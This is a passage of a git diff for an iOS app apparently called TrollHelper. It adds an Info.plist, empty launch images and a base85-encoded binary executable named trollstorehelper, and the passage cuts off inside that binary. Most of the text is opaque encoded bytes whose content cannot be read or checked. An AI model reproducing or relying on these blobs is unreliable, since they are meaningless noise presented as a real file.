Y(cJ=+` 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 Jlm7Sqe*mK!(x3nU literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/Info.plist b/PersistenceHelper/Resources/Info.plist new file mode 100644 index 0000000..d5c96d0 --- /dev/null +++ b/PersistenceHelper/Resources/Info.plist @@ -0,0 +1,156 @@ + + + + + CFBundleExecutable + TrollStorePersistenceHelper + CFBundleDisplayName + TrollHelper + CFBundleIcons + + CFBundlePrimaryIcon + + CFBundleIconFiles + + AppIcon29x29 + AppIcon40x40 + AppIcon57x57 + AppIcon60x60 + + UIPrerenderedIcon + + + + CFBundleIcons~ipad + + CFBundlePrimaryIcon + + CFBundleIconFiles + + AppIcon29x29 + AppIcon40x40 + AppIcon57x57 + AppIcon60x60 + AppIcon50x50 + AppIcon72x72 + AppIcon76x76 + + UIPrerenderedIcon + + + + CFBundleIdentifier + com.opa334.trollstorepersistencehelper + CFBundleInfoDictionaryVersion + 6.0 + CFBundlePackageType + APPL + CFBundleSignature + ???? + CFBundleSupportedPlatforms + + iPhoneOS + + CFBundleVersion + 1.0 + LSRequiresIPhoneOS + + UIDeviceFamily + + 1 + 2 + + UIRequiredDeviceCapabilities + + armv7 + + UILaunchImageFile + LaunchImage + UILaunchImages + + + UILaunchImageMinimumOSVersion + 7.0 + UILaunchImageName + LaunchImage + UILaunchImageOrientation + Portrait + UILaunchImageSize + {320, 480} + + + UILaunchImageMinimumOSVersion + 7.0 + UILaunchImageName + LaunchImage-700-568h + UILaunchImageOrientation + Portrait + UILaunchImageSize + {320, 568} + + + UILaunchImageMinimumOSVersion + 7.0 + UILaunchImageName + LaunchImage-Portrait + UILaunchImageOrientation + Portrait + UILaunchImageSize + {768, 1024} + + + UILaunchImageMinimumOSVersion + 7.0 + UILaunchImageName + LaunchImage-Landscape + UILaunchImageOrientation + Landscape + UILaunchImageSize + {768, 1024} + + + UILaunchImageMinimumOSVersion + 8.0 + UILaunchImageName + LaunchImage-800-667h + UILaunchImageOrientation + Portrait + UILaunchImageSize + {375, 667} + + + UILaunchImageMinimumOSVersion + 8.0 + UILaunchImageName + LaunchImage-800-Portrait-736h + UILaunchImageOrientation + Portrait + UILaunchImageSize + {414, 736} + + + UILaunchImageMinimumOSVersion + 8.0 + UILaunchImageName + LaunchImage-800-Landscape-736h + UILaunchImageOrientation + Landscape + UILaunchImageSize + {414, 736} + + + UISupportedInterfaceOrientations + + UIInterfaceOrientationPortrait + UIInterfaceOrientationLandscapeLeft + UIInterfaceOrientationLandscapeRight + + UISupportedInterfaceOrientations~ipad + + UIInterfaceOrientationPortrait + UIInterfaceOrientationPortraitUpsideDown + UIInterfaceOrientationLandscapeLeft + UIInterfaceOrientationLandscapeRight + + + diff --git a/PersistenceHelper/Resources/LaunchImage-700-568h@2x.png b/PersistenceHelper/Resources/LaunchImage-700-568h@2x.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/LaunchImage-700-Landscape@2x~ipad.png b/PersistenceHelper/Resources/LaunchImage-700-Landscape@2x~ipad.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/LaunchImage-700-Landscape~ipad.png b/PersistenceHelper/Resources/LaunchImage-700-Landscape~ipad.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/LaunchImage-700-Portrait@2x~ipad.png b/PersistenceHelper/Resources/LaunchImage-700-Portrait@2x~ipad.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/LaunchImage-700-Portrait~ipad.png b/PersistenceHelper/Resources/LaunchImage-700-Portrait~ipad.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/LaunchImage-800-667h@2x.png b/PersistenceHelper/Resources/LaunchImage-800-667h@2x.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/LaunchImage-800-Landscape-736h@3x.png b/PersistenceHelper/Resources/LaunchImage-800-Landscape-736h@3x.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/LaunchImage-800-Portrait-736h@3x.png b/PersistenceHelper/Resources/LaunchImage-800-Portrait-736h@3x.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/LaunchImage.png b/PersistenceHelper/Resources/LaunchImage.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/LaunchImage@2x.png b/PersistenceHelper/Resources/LaunchImage@2x.png new file mode 100644 index 0000000..e69de29 diff --git a/PersistenceHelper/Resources/trollstorehelper b/PersistenceHelper/Resources/trollstorehelper new file mode 100755 index 0000000000000000000000000000000000000000..b59eafa9bf6435892975eceb7c674c2013488dc4 GIT binary patch literal 122016 zcmeFa30#y_+dqD0VNp>@hDER(HPc)Gcg1Z0*F-_UL|evz8DJ7-aAr`^GSo6FvnVqw zOWX?YvaD#cQqi`@dMYiKYy-6?Ofz!@H-6viKIevEkbK_%`+wg5`~Q9J`Fze?=bY<0 z*E#2Vu5+E`z6W++-MWo2rqM7K1d5Ldsnw;3v_VimDgr73Dgr73Dgr73Dgr73Dgr73 zDgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73 zDgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73Dgr73 z{{skoeesX0_~Ac({?C{eAqwGO3&tK~M#LCvk1!6wY)*+EJ9_%))MUzS{E-Vc&T5h( zJ#$fk*_=K)BfT+OF2AF39usLlWK#$bY_r*8o9ht?5MO=87T%faBrZc~>R0_o&x-5g zh?vc8PhqCJKFe2M?rU7%H$n-ez4ZkOed3QNKwp;A;cjT4ufD-=aDBm|MoR1IYi}Ac zn{%?V%(l5%wgQjYW6AW@H%{n_5Jf5N-9BH9XrJ5TvO97F!&l!7p|45+PHFFtuWqy1 znR!o^Ip5~Vby)IkO~xbsecs>GG>G_6+WXT~U!h};-C;G`9obF@`nIqCcCPPBp@h=D zI=uCh-7STIna!i()8oyF$&=E!_3hw#m`O+@Eq_d$(3nurBhXl39GnfK+PuDCr7=4i zkE=g)3`0;pP3@#{`+|4!_Qi?U1=$;$Q~Sl|AdguWe^+w`II-|Lgd)t+z3vC&ZY z>SGuHnzwoe9jM$@RDFhgbP$>Ks^R-VP}CXK%Oj9RX*KvY3#AKb2`&+hO5Ka}y+_k_@= zj4P#m^og1{A>6qCO&ULG!st=sx%C1cfm^W)Q5how z`OBC>w<{*ko*82;%CjO(A6kE?9iw)BJ}{=J@5L4Gr*|8eSold_Ybs6B%bh{x+VikPOMjc6y$i0JrewAP*p zru?CD83;-_+w4Cv)q81T(u&+3TYgNEJ=0}z6~&Bk!8^`zx@Nj##yATdR*T2(bVO$> zxn7wKdS^7zyORBl-bAO%c1_)l84day^;b)dp+%$qT3lJV_Sv@RzFu9X{uX$(OR);y zcBQ!Nvn?K*SGUs&XxT|{T3psNn`^c`%jWj#|24RBL#e*p|3~#DSh8j|S6dUFY>%=v}0?0+2QuL<;4k*4`fADXYkFTP8|j3X&W{iq122&f3C2&f3C2&f3C2&f3C2&f3C z2&f3C2&f3C2&f3C2&f3C2&f3C2&f3C2&f3C2&f3C2&f3C2&f3C2&f3C2&f3C2&f3C 